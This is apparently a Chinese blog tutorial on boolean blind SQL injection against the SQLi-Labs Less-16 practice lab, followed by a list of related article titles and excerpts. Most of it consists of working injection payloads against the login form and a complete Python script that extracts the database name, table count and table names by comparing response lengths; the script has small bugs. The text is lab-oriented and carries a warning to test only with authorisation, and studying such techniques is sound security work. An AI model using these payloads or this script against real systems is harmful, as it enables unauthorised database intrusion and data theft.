一、分析测试注入点

1、抓包,查看响应数据包
2、先随便输入一个账号密码,再测试万能密码
1") or 1=1 -- #
3、发现响应数据包的Content-Length字段值不同。错误状态返回Content-Length值为1467,正确返回1504,符合布尔注入特征。
4、使用万能密码登录成功,确定注入点,为布尔盲注
1") or 1=1 -- #

二、获取数据库名编写脚本

1、先获取数据库长度,测试语句
1") or length(database())=8 -- #
2、登录成功,确定数据库长度为8
3、、由于是盲注,获取数据库名手工不太现实,这里使用脚本。注意,脚本测试时,响应数据包的Content-Length字段值与BurpSuite抓包测试中的Content-Length字段值不同,请自行测试,根据实际情况修改
# -*- coding: utf-8 -*-
import requests url = "http://192.168.40.128:86/Less-16/"
headers = {
'Host' :'192.168.40.128:86',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
#'Content-Length': '39',
'Origin': 'http://192.168.40.128:86',
'Connection': 'close',
'Referer': 'http://192.168.40.128:86/Less-16/',
'Cookie': 'PHPSESSID=0lj1jpdj1en2s07g1l3fm12jb0',
'Upgrade-Insecure-Requests': '1'
}
data = {
'uname':'admin',
'passwd':'adminpass',
'submit':'Submit'
} #获取数据库名的长度
def get_database_length():
print("[-] Start getting the database name length:")
for i in range(20):
data_database_L = {
'uname':'") or length(database())=' + str(i) + " #",
'passwd':'adminpass',
'submit':'Submit'
}
r_database_length = requests.post(url=url, data=data_database_L, allow_redirects=False)
""" print(r_database_length.headers["Content-Length"])
print(type(r_database_length.headers["Content-Length"])) """
if r_database_length.headers["Content-Length"] == str(943):
print("[*] current database length: {}".format(i))
return i #获取当前数据库的名称
def get_database_name(r_database_length):
r_database_length = database_length
#使用left()函数,即从左边第一个字符开始猜解
database_name = ''
print(' ')
print("[-] Start getting the database name:")
for i in range(1, r_database_length + 1):
for j in 'qwertyuiopasdfghjklzxcvbnm0123456789@':
#构造Payload
payload = '1") or left(database(), ' + str(i) + ")='" + database_name + str(j) + "' -- #"
#print(passwd)
data_database_name = {
'uname':'1',
'passwd':payload,
'submit':'Submit'
}
#逐个请求构造好的Payload
r_database_name = requests.post(url=url, data=data_database_name, allow_redirects=False)
#若响应数据包的Content-Length字段值为943,则猜解下一个字段,拼接正确的字段
if r_database_name.headers["Content-Length"] == str(943):
database_name += str(j)
print("[+] {}".format(database_name))
break
print("[*] The database name is: {}".format(database_name))
return database_name
4、测试时在脚本末尾添加如下代码
#测试
database_length = get_database_length()
database_name = get_database_name(database_length)
5、运行脚本,效果如下

三、获取数据库表的数量

1、测试语句,构造Payload。下面语句的意思是数据库security中表的数量大于1
1") and (select count(*) from information_schema.tables where table_schema='security')>1 -- #
登录成功
2、脚本实现
#获取数据库表的数量
def get_database_tables_count(r_database_name):
r_database_name = database_name
print(' ')
print("[-] Start getting the number of databases:")
for i in range(1,99):
#构造获取数据库数量的Payload
payload = '1") or (select count(*) from information_schema.tables where table_schema=' + "'" + database_name +"')=" + str(i) +" -- #"
data_database_name = {
'uname':'1',
'passwd':payload,
'submit':'Submit'
}
r_database_count = requests.post(url=url, data=data_database_name, allow_redirects=False)
if r_database_count.headers["Content-Length"] == str(943):
print("[*] The current number of database tables is: {}".format(i))
return i
3、修改末尾的测试代码如下
#测试
database_length = get_database_length()
database_name = get_database_name(database_length)
database_count = get_database_tables_count(database_name)
4、运行脚本,效果如下

四、获取数据库表名的长度

1、先测试语句,构造Payload。下面语句的意思是数据库security的第一个表的长度大于1
1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>1 -- #
2、登录成功,语句正确
3、脚本实现
#获取表名的长度
def get_database_tables_name_length(r_database_name,r_database_tables_count):
r_database_name = database_name
r_database_tables_count = database_tables_count
tables_name_length_list = []
print(' ')
print("[-] Start getting the database tables name length:")
#根据表的数量逐个猜解表名的长度
for i in range(0,r_database_tables_count+1):
for j in range(20):
#'1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit 0,1)," + str(i) + "))=" + str(j) + " -- #"
payload = '1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit " +str(i) + ",1)," + str(i+1) + "))=" + str(j) + " -- #"
data_database_L = {
'uname':payload,
'passwd':'adminpass',
'submit':'Submit'
}
r_database_tables_name_lemgth = requests.post(url=url, data=data_database_L, allow_redirects=False)
if r_database_tables_name_lemgth.headers["Content-Length"] == str(943):
print("[*] The length of the database table name is: {}".format(j))
tables_name_length_list = tables_name_length_list.append(j)
return tables_name_length_list
4、运行脚本,效果如下

五、获取表名

1、先构造Payload,测试语句
1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #
2、登录成功,Payload正确
3、脚本代码实现
#获取数据库表名
def get_database_tables_name():
r_database_count = database_tables_count
r_database_name = database_name
r_tables_name_length = tables_name_length
database_tables_name = ''
tables_name_list = []
print(' ')
print("[-] Start getting the database table name:")
for i in range(0,r_database_count):
for k in range(1,r_tables_name_length[i]+1):
for j in range(33,127):
#1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #
#1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #
# '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + j + " -- #"
payload = '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + str(j) + " -- #"
data_database_name = {
'uname':'1',
'passwd':payload,
'submit':'Submit'
}
r_tables_name = requests.post(url=url,data=data_database_name,allow_redirects=False)
if r_tables_name.headers["Content-Length"] == str(943):
database_tables_name += chr(j)
print("[+] {}".format(database_tables_name))
break
#把获取到的表名加入列表tables_name_list
print("[*] The current table name is: {}".format(database_tables_name))
tables_name_list.append(database_tables_name)
#清空database_tables_name,继续获取下一个表名
database_tables_name = ''
print("[*] The table name of the current database: {}".format(tables_name_list))
return tables_name_list
4、效果如下

六、结尾

1、获取表的列名和获取表名的思路、逻辑是一样的,怎么获取表名都已经写出来了,如果怎么获取列名和数据都还不会的话,那就再去好好补一下SQL基础吧

2、此脚本是布尔盲注,延时盲注的逻辑和思路是一样的,只需要把Payload改成延时语句,把响应判断条件改成对应的延时判断就可以了

3、实战请在获得授权的前提下进行,且勿进行非法攻击!

4、最后,附上完整的脚本代码

# -*- coding: utf-8 -*-
from aiohttp import payload_type
import requests
from responses import target url = "http://192.168.40.128:86/Less-16/"
headers = {
'Host' :'192.168.40.128:86',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
#'Content-Length': '39',
'Origin': 'http://192.168.40.128:86',
'Connection': 'close',
'Referer': 'http://192.168.40.128:86/Less-16/',
'Cookie': 'PHPSESSID=0lj1jpdj1en2s07g1l3fm12jb0',
'Upgrade-Insecure-Requests': '1' }
data = {
'uname':'admin',
'passwd':'adminpass',
'submit':'Submit'
} """ r = requests.post(url=url, headers=headers, data=data, allow_redirects=False)
print(r.headers['Content-Length']) """ #获取数据库名的长度
def get_database_length():
print("[-] Start getting the database name length:")
for i in range(20):
data_database_L = {
'uname':'") or length(database())=' + str(i) + " #",
'passwd':'adminpass',
'submit':'Submit'
}
""" print(data_database_L) """
r_database_length = requests.post(url=url, data=data_database_L, allow_redirects=False)
""" print(r_database_length.headers["Content-Length"])
print(type(r_database_length.headers["Content-Length"])) """
if r_database_length.headers["Content-Length"] == str(943):
print("[*] current database length: {}".format(i))
return i
#测试
#database_length = get_database_length()
#print(type(database_length)) #获取当前数据库的名称
def get_database_name():
r_database_length = database_length
#使用left()函数,即从左边第一个字符开始猜解
database_name = ''
print(' ')
print("[-] Start getting the database name:")
for i in range(1, r_database_length + 1):
for j in 'qwertyuiopasdfghjklzxcvbnm0123456789@':
#构造Payload
payload = '1") or left(database(), ' + str(i) + ")='" + database_name + str(j) + "' -- #"
#print(passwd)
data_database_name = {
'uname':'1',
'passwd':payload,
'submit':'Submit'
}
#逐个请求构造好的Payload
r_database_name = requests.post(url=url, data=data_database_name, allow_redirects=False)
#print(r_database_name.headers["Content-Length"])
#若响应数据包的Content-Length字段值为943,则猜解下一个字段,拼接正确的字段,这里根据实际情况修改
if r_database_name.headers["Content-Length"] == str(943):
database_name += str(j)
print("[+] {}".format(database_name))
break
print("[*] The database name is: {}".format(database_name))
return database_name #获取数据库表的数量
def get_database_tables_count():
r_database_name = database_name
print(' ')
print("[-] Start getting the number of databases:")
for i in range(1,99):
#构造获取数据库数量的Payload
payload = '1") or (select count(*) from information_schema.tables where table_schema=' + "'" + r_database_name +"')=" + str(i) +" -- #"
data_database_name = {
'uname':'1',
'passwd':payload,
'submit':'Submit'
}
r_database_count = requests.post(url=url, data=data_database_name, allow_redirects=False)
if r_database_count.headers["Content-Length"] == str(943):
print("[*] The current number of database tables is: {}".format(i))
return i #获取表名的长度
def get_database_tables_name_length():
r_database_name = database_name
r_database_tables_count = database_tables_count
tables_name_length_list = []
print(' ')
print("[-] Start getting the database tables name length:")
#根据表的数量逐个猜解表名的长度
for i in range(0,r_database_tables_count+1):
for j in range(20):
#1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #
#'1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit 0,1)," + str(i) + "))=" + str(j) + " -- #"
payload = '1") or length(substr((select table_name from information_schema.tables where table_schema=' + "'" +r_database_name +"' limit " +str(i) + ",1)," + str(i+1) + "))=" + str(j) + " -- #"
data_database_L = {
'uname':payload,
'passwd':'adminpass',
'submit':'Submit'
}
r_database_tables_name_lemgth = requests.post(url=url, data=data_database_L, allow_redirects=False)
if r_database_tables_name_lemgth.headers["Content-Length"] == str(943):
print("[*] The length of the database table name is: {}".format(j))
tables_name_length_list.append(j)
break
#print(tables_name_length_list)
""" for n in range(0,database_tables_count):
print(tables_name_length_list[n]) """
return tables_name_length_list #获取数据库表名
def get_database_tables_name():
r_database_count = database_tables_count
r_database_name = database_name
r_tables_name_length = tables_name_length
database_tables_name = ''
tables_name_list = []
print(' ')
print("[-] Start getting the database table name:")
for i in range(0,r_database_count):
for k in range(1,r_tables_name_length[i]+1):
for j in range(33,127):
#1") or length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=0 -- #
#1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97 -- #
# '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + j + " -- #"
payload = '1") or ascii(substr((select table_name from information_schema.tables where table_schema' + "='" + r_database_name + "' limit " + str(i) + ",1)," + str(k) + ",1))=" + str(j) + " -- #"
data_database_name = {
'uname':'1',
'passwd':payload,
'submit':'Submit'
}
r_tables_name = requests.post(url=url,data=data_database_name,allow_redirects=False)
#print(r_tables_name)
if r_tables_name.headers["Content-Length"] == str(943):
database_tables_name += chr(j)
print("[+] {}".format(database_tables_name))
#tables_name_list.append(database_tables_name)
break
#把获取到的表名加入列表tables_name_list
print("[*] The current table name is: {}".format(database_tables_name))
tables_name_list.append(database_tables_name)
#清空database_tables_name,继续获取下一个表名
database_tables_name = ''
print("[*] The table name of the current database: {}".format(tables_name_list))
return tables_name_list #测试
database_length = get_database_length()
database_name = get_database_name()
database_tables_count = get_database_tables_count()
tables_name_length = get_database_tables_name_length()
get_database_tables_name()

结合手工注入编写一个SQL盲注脚本——以SQLi-Labs less16为例的更多相关文章

  1. 如何编写一个SQL注入工具

    0x01  前言 一直在思考如何编写一个自动化注入工具,这款工具不用太复杂,但是可以用最简单.最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以. 0x02 SQL注 ...

  2. SQL手工注入漏洞测试(Sql Server数据库)

    还是先找到注入点,然后order by找出字段数:4 通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段. ...

  3. 一个sql盲注小工具 (Golang版)

    并发,二分法判断. 源码写的有点垃圾,有点乱,结果也存在一些缺失. 记录: sql:select distinct 中的distinct选项,这是只会获取你表中不重复数据,是表中,而不是你一次sql执 ...

  4. 手把手教你基于SqlSugar4编写一个可视化代码生成器(生成实体,以SqlServer为例,文末附源码)

    在开发过程中免不了创建实体类,字段少的表可以手动编写,但是字段多还用手动创建的话不免有些浪费时间,假如一张表有100多个字段,手写有些不现实. 这时我们会借助一些工具,如:动软代码生成器.各种ORM框 ...

  5. (后端)sql手工注入语句&SQL手工注入大全(转)

    转自脚本之家: 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) f ...

  6. 最新SQL手工注入语句&SQL注入大全

    看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...

  7. 小白日记42:kali渗透测试之Web渗透-SQL盲注

    SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...

  8. SQL盲注工具BBQSQL

    SQL盲注工具BBQSQL   SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具 ...

  9. Kali学习笔记42:SQL手工注入(4)

    前三篇文章都是在讲发现SQL注入漏洞 如何查询得到所有的信息 那么另一条思路还未尝试过:能否修改数据? 例如这样: '; update users set user='yiqing' where us ...

随机推荐

  1. MySQL二进制binlog日志说明以及利用binlog日志恢复数据

    MySQL的binlog日志对于mysql数据库来说是十分重要的.在数据丢失的紧急情况下,我们往往会想到用binlog日志功能进行数据恢复(定时全量备份+binlog日志恢复增量数据部分). 一.关于 ...

  2. 嵌入式Linux应用开发完全手册之环境搭建

    @ 目录 0.下载源配置 1.电脑BIOS启动虚拟化 2.linux网卡查看与IP设置 3.windows NAT虚拟网络配置 4.修改 Ubuntu 的 mountd 端口 5.vim设置 6.Mo ...

  3. Jquery.Datatables dom表格定位 (转)

    Datatables会添加一些控制元素在表格的周围,比如默认状态下改变每页显示条数(l)的空间在左上角,即使搜索框(f)在右上角,表格的信息(i)显示在左下角,分页控件(p)显示在右下角. 这些控件在 ...

  4. 6月4日 python学习总结 装饰器复习

    1.  装饰器的原理以及为什么要使用装饰器 在代码运行期间动态增加功能的方式,称之为"装饰器"(Decorator). 在不影响原代码结构的情况下为其添加功能 2.  装饰器的基本 ...

  5. 同一局域网ping ip 失败(可能是你的路由器坑了你)

    事件起源:手机需要通过fiddler代理抓包 一顿操作猛如虎,手机输入ip+端口,芭比q了,连接不上.. 解决思路: 一.保证双方处于同一局域网内 二.查看电脑配置,找到 防火墙,关闭防火墙,再试 三 ...

  6. Hadoop2.x与Hadoop3.x副本选择机制

    HDFS 上的文件对应的 Block 保存多个副本,且提供容错机制,副本丢失或者宕机自动恢复,默认是存 3 个副本. 2.8.x之前的副本策略 官方文档说明: https://hadoop.apach ...

  7. jvm大局观之内存管理篇(二):当java中new一个对象,背后发生了什么

    https://zhuanlan.zhihu.com/p/257863129?utm_source=ZHShareTargetIDMore 番茄番茄我是西瓜 那是我日夜思念深深爱着的人啊~ 已关注   ...

  8. 学习k8s(四)

    1.K8S核心组件 1.Master节点: etcd: 分布式键值对数据库,保存集群状态 api-server: 接受并响应用户的请求 controller: 控制器管理,控制容器的副本数,故障检测 ...

  9. idea推送项目到github

    参考: https://blog.csdn.net/SoWhatWorld/article/details/103817786?depth_1-utm_source=distribute.pc_rel ...

  10. 数据库SQL之学习SUM总和套用条件CASE WHEN语句

    1.SQL之学习SUM总和套用条件CASE WHEN语句 2.条件语句CASE WHEN 格式已经在图中写的很明白了 -- 查询t_wzw库中所有数据 总和(条件为t_wzw.birthday > ...